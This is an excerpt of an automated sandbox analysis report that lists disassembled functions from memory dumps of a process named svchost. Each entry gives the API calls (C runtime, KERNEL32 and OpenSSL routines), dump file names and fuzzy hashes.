std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFBAAFE5973

Strings

bad locale name, xrefs: 00007FFBAAFE5996

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 8a333eecea8e93983e7a0a6e804d82f444e606bc173281889031bde093c40606
Instruction ID: 23a9739761ab2723130d015e5a50c2f3e11993b3350b7ddebbe27b6cd664da35
Opcode Fuzzy Hash: 8a333eecea8e93983e7a0a6e804d82f444e606bc173281889031bde093c40606
Instruction Fuzzy Hash: E2418A72B0BA41C9FB2ADF70D4903EC23A8EF44748F088479DE4D66A65CE38D926D354

Function 00007FFBAB05C068 Relevance: 6.2, APIs: 4, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00007FFBAB069B09,?,00007FFBAB03B4B5,?), ref: 00007FFBAB05C186

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: e1e0fba768d46928488142fd673c0963fb07b66bed77518fb1a117bd88da810a
Instruction ID: 1f100848725154073238b8c26b1a2e32f9c4e2bb5bd7c0c8c09f5b0e8d5d9a56
Opcode Fuzzy Hash: e1e0fba768d46928488142fd673c0963fb07b66bed77518fb1a117bd88da810a
Instruction Fuzzy Hash: 7191D7B2A1A65585FB728F79D440ABD2BA0FB44B88F05C235DD2E57BA5CE3CE455C300

Function 00007FFBAB42EE40 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB443F40: ENGINE_finish.LIBCRYPTO-3-X64(?,00007FFBAB42EE67,?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB443F72

ERR_set_mark.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE6C
OBJ_nid2sn.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE73
EVP_CIPHER_fetch.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE81
ERR_pop_to_mark.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE89

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: E_finishJ_nid2snR_fetchR_pop_to_markR_set_mark
String ID:
API String ID: 3538331334-0
Opcode ID: 0927e5fbf129b9b27b48d1e726e7108ff00c565c336dec268f6d8413cdae8668
Instruction ID: 085dbc66ee4cbdc074be4445ffbb6a26548e7194780c535bd90709ff56e9c454
Opcode Fuzzy Hash: 0927e5fbf129b9b27b48d1e726e7108ff00c565c336dec268f6d8413cdae8668
Instruction Fuzzy Hash: F7F0A091B5A35242E966A7B2E48516D9555AF98FC0F08C438FE6D47BABEE2CE4410300

Function 00007FFBAAFEDCF0 Relevance: 3.8, APIs: 3, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FFBAAFEDD61
Sleep.KERNEL32 ref: 00007FFBAAFEDD71
Sleep.KERNEL32 ref: 00007FFBAAFEDD9C

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: df88937ba900795650b5eaa6d6d0e8d2eb4fbd0cb99e5a98e548c4b91da7f1bc
Instruction ID: 43028ba807c5f2b3b92365ab997b1024697d1c6086bf5f5546e452a708f9be2d
Opcode Fuzzy Hash: df88937ba900795650b5eaa6d6d0e8d2eb4fbd0cb99e5a98e548c4b91da7f1bc
Instruction Fuzzy Hash: BF11B692B0B78982EE3D5631F40017951559FC8FC0F449076EE4E8BBDADD2DE5424600

Function 00007FFBAAFFD9D0 Relevance: 3.2, APIs: 2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID:
API String ID: 2573137834-0
Opcode ID: 087c94fe734eaef8ccf13c0be3e1a2275b33f6f0eac3206c8b224c77f0bad44b
Instruction ID: 6efc5674fe2cd03ff5d3acedde9461e7aa5242634fa41aaee97d2e14afe03016
Opcode Fuzzy Hash: 087c94fe734eaef8ccf13c0be3e1a2275b33f6f0eac3206c8b224c77f0bad44b
Instruction Fuzzy Hash: 29617CB2A19A81C1EB159F38E04435D73AAFB50B8CF449136DB8C07A6DDFB9D894C340

Function 00007FFBAB04EE4C Relevance: 3.2, APIs: 2, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB04EE90
_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB04EF92

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 25e6eba7937fd2df68da5dfd2ce53639527b20559a842f5475600718e70b472d
Instruction ID: 4c15ba94dc51f5e268b92028308021aa25b44716267b2813133491b3175e43bd
Opcode Fuzzy Hash: 25e6eba7937fd2df68da5dfd2ce53639527b20559a842f5475600718e70b472d
Instruction Fuzzy Hash: 7251D0B1B0B28246FA7E9E3AD50067A6690AF84BE4F14C334ED7D53AE5DF3DE4214600

Function 00007FFBAAFE3900 Relevance: 3.1, APIs: 2, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9a5bc3d059528433e37092c63e7baec89364ff8f0eb9848d44884b16a024ff2
Instruction ID: b0d800873c57fae3bdc5efa2bc8d2bb79fec86042878653c19b2e4b9ab834259
Opcode Fuzzy Hash: a9a5bc3d059528433e37092c63e7baec89364ff8f0eb9848d44884b16a024ff2
Instruction Fuzzy Hash: 4041BEB2B06A5581EB268E3AD00837C73A5FB44FD8F188536CE4C97B58DE39D8878310

Function 00007FFBAB0544E0 Relevance: 3.1, APIs: 2, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FFBAB04992E,?,?,?,00007FFBAB049BEA), ref: 00007FFBAB054506
_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB054569

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: FeaturePresentProcessor_invalid_parameter_noinfo
String ID:
API String ID: 1808705829-0
Opcode ID: 4635e84b82b90d1698c28812b93eb62492523e2aad87e39e364d6ef591d4856a
Instruction ID: d8c6707bc2729676141a32298d2e394e77166d814d3235ec852577facca66b06
Opcode Fuzzy Hash: 4635e84b82b90d1698c28812b93eb62492523e2aad87e39e364d6ef591d4856a
Instruction Fuzzy Hash: 1631C4A1A0E64642FA36AB71D4117FD6290AF81B80F54C535EE6D47EEBDF7CE8208700

Function 00007FFBAB05DC6C Relevance: 3.0, APIs: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 00007FFBAB05DCBE
GetLastError.KERNEL32 ref: 00007FFBAB05DCC8

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: bc0705010fb45789ecfdca3bfe044c1841a352d68a7db18108ebf6cc05923ffb
Instruction ID: 49201f772703dfaf3ecd7787c15a18a9a4dd282df76f392e2993b1cea61b9eea
Opcode Fuzzy Hash: bc0705010fb45789ecfdca3bfe044c1841a352d68a7db18108ebf6cc05923ffb
Instruction Fuzzy Hash: 6B11B2A2629A8281DA31DB35E404669A761BB84BF4F54C336EE7D47BE9CF7CD0608740

Function 00007FFBAB05C604 Relevance: 2.6, APIs: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FFBAB05C5B5), ref: 00007FFBAB05C672
GetLastError.KERNEL32(?,?,?,00007FFBAB05C5B5), ref: 00007FFBAB05C67C

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 6458880a059b35e5152587c1de7c6f389fe6edfe0a1c84f4a9904da4d9ef96a5
Instruction ID: 9ab25ae7369af8bc98f97985676a13eee1fb0917ad4ec6d3e065bb9a68db6a2a
Opcode Fuzzy Hash: 6458880a059b35e5152587c1de7c6f389fe6edfe0a1c84f4a9904da4d9ef96a5
Instruction Fuzzy Hash: F721D4A1F1A68241EE729771E4A06BD1A829F447A4F05E339DD3D477F2DEACE5A48300

Function 00007FFBAB05C878 Relevance: 1.6, APIs: 1, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB05C8A0

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1ed12f836a697f6605108e8bddeeb1876b84fed687d500a12e50fb89f0b3d145
Instruction ID: 8dd8ba5853dff2b8cf0502a0ab00af6c899efcec02c4c211b07291dca094412c
Opcode Fuzzy Hash: 1ed12f836a697f6605108e8bddeeb1876b84fed687d500a12e50fb89f0b3d145
Instruction Fuzzy Hash: F641037291A64183EA368B38E4416BD73A0EB55B50F11D235DEAE83BA0CF3CE812C750

Function 00007FFBAB05D5CC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB05D652

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7c4aee51ae4b26d18ed65c2b1e303e1887308baf6f27f23d183e8e6e7fb07058
Instruction ID: 5a5802f4eba1da3149af535dcccbe9c7d856f216d7136923c407de136d402b31
Opcode Fuzzy Hash: 7c4aee51ae4b26d18ed65c2b1e303e1887308baf6f27f23d183e8e6e7fb07058
Instruction Fuzzy Hash: A23182B1E1A61289E7376B75D841B7D2650AB40B94F41C33ADE3D077F2CE7CA8628720

Function 00007FFBAB0679E0 Relevance: 1.6, APIs: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB067A03

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0e53a34abfed05013c821fe6a07fce241fe07a17664203467ba6e381cc40e880
Instruction ID: 50342eae37b9f2c672746213361e29b75ab59d95fe6fbadbd4ea8d220bcd5789
Opcode Fuzzy Hash: 0e53a34abfed05013c821fe6a07fce241fe07a17664203467ba6e381cc40e880
Instruction Fuzzy Hash: 7E21DA7261968186DB728F38D45037976A1EBC4B54F548338EF6D876EADF7CD4208700

Function 00007FFBAB04F0D8 Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB04F12C

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d8476ae60e3300321bf30d7a922cdbd28b0c9d19814793c568c8b6a1dbe1a92
Instruction ID: 992aca01db325ce885c61d6cd7db9b139f6615b6696ec7fc8ed48bcb912fcefa
Opcode Fuzzy Hash: 2d8476ae60e3300321bf30d7a922cdbd28b0c9d19814793c568c8b6a1dbe1a92
Instruction Fuzzy Hash: B001A5B1B0974541EA2ADB72D901069A691BF86FE0F48C630DE7C13BF6DE3CD4214300

Function 00007FFBAB066684 Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFBAB055C70: HeapAlloc.KERNEL32(?,?,00000000,00007FFBAB056107), ref: 00007FFBAB055CC5

InitializeCriticalSectionEx.KERNEL32(?,?,00000000,00007FFBAB066985,?,?,?,?,?,00007FFBAB06808C), ref: 00007FFBAB0666CB

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: AllocCriticalHeapInitializeSection
String ID:
API String ID: 2538999594-0
Opcode ID: c7b1acbcfe87266fc0f9bebfcb351de7459ad498e17c031b53c3222c8f04b247
Instruction ID: 1f1123a297f335e483bbfbf3727bece9c094493d11bff8b4a1c9f2617e832db3
Opcode Fuzzy Hash: c7b1acbcfe87266fc0f9bebfcb351de7459ad498e17c031b53c3222c8f04b247
Instruction Fuzzy Hash: 6F110E7272978186E6258B25E1401AD6760EB41B90FA8C238EB7D43BD5CF38E472C700

Function 00007FFBAB057E44 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB057E6F

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3bec28bef11bc3bba54c3e571dc6c374f3ad8b44711cf08515c867af371c6c11
Instruction ID: 6b333187b2ca992e2a21cbe84c660bed13a8ed3b9809a1ac04535805b4beed1e
Opcode Fuzzy Hash: 3bec28bef11bc3bba54c3e571dc6c374f3ad8b44711cf08515c867af371c6c11
Instruction Fuzzy Hash: E8111772A05B059CEB21DFB0D4812ED37B4FB08358F508636EA5D12B6ADF34D1A5C390

Function 00007FFBAB04E9F0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFBAB04EA0F

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 44c91d0d74f90cc200fa1dd173db0d6c63e3f0b24ef1e4a101104fe5a026268a
Instruction ID: b36e95fbd317d9664b89334df90f7c9b816218cbdf04d4ad6617543f9939a69f
Opcode Fuzzy Hash: 44c91d0d74f90cc200fa1dd173db0d6c63e3f0b24ef1e4a101104fe5a026268a
Instruction Fuzzy Hash: 51E022B1A1E64289EF3E6BB4E58117C6150AF047F0F54C330EF3C026E6DE38A4B88201

Function 00007FFBAB055C70 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FFBAB056107), ref: 00007FFBAB055CC5

Memory Dump Source

Source File: 0000001A.00000002.2848034632.00007FFBAAFC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFBAAFC0000, based on PE: true

Associated: 0000001A.00000002.2848014581.00007FFBAAFC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848268519.00007FFBAB18F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001A.00000002.2848290968.00007FFBAB194000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbaafc0000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 9e6ab98372be8dbbc01cc3b2e490f32f81acd33fe3b8fcc01c806bca5ac95083
Instruction ID: 6429dc8122838f3444c86a0e52a4349a974b24975017904e5669744e14452dc3
Opcode Fuzzy Hash: 9e6ab98372be8dbbc01cc3b2e490f32f81acd33fe3b8fcc01c806bca5ac95083
Instruction Fuzzy Hash: D0F04FE0B0F24649FE7656B1D4117B856906F84780F58D134CD2EC6BE1DD2DE8A04310

Non-executed Functions

Function 00007FFBAB49A8B0 Relevance: 114.5, APIs: 62, Strings: 3, Instructions: 725COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49A917
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49A92F
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49A9BD
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49A9D5
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49A9E7
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49A9FF
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49AAF3
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49AAFC
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49AB15
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49AB2E
memcmp.VCRUNTIME140 ref: 00007FFBAB49AB69
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB49ABEC
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB49ABFB
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49AC2B
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB49AC66
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49ACBB
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49ACD3
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49ACE3
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49ACFB
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49AD0B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49AD23
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49AD55
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49AD6D
memcpy.VCRUNTIME140 ref: 00007FFBAB49AE4E
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB49AEA8
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB49AEB7
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB49AEC8
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49AED1
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49AEE9
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49AF27
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49AF3F
CRYPTO_memcmp.LIBCRYPTO-3-X64 ref: 00007FFBAB49B05B
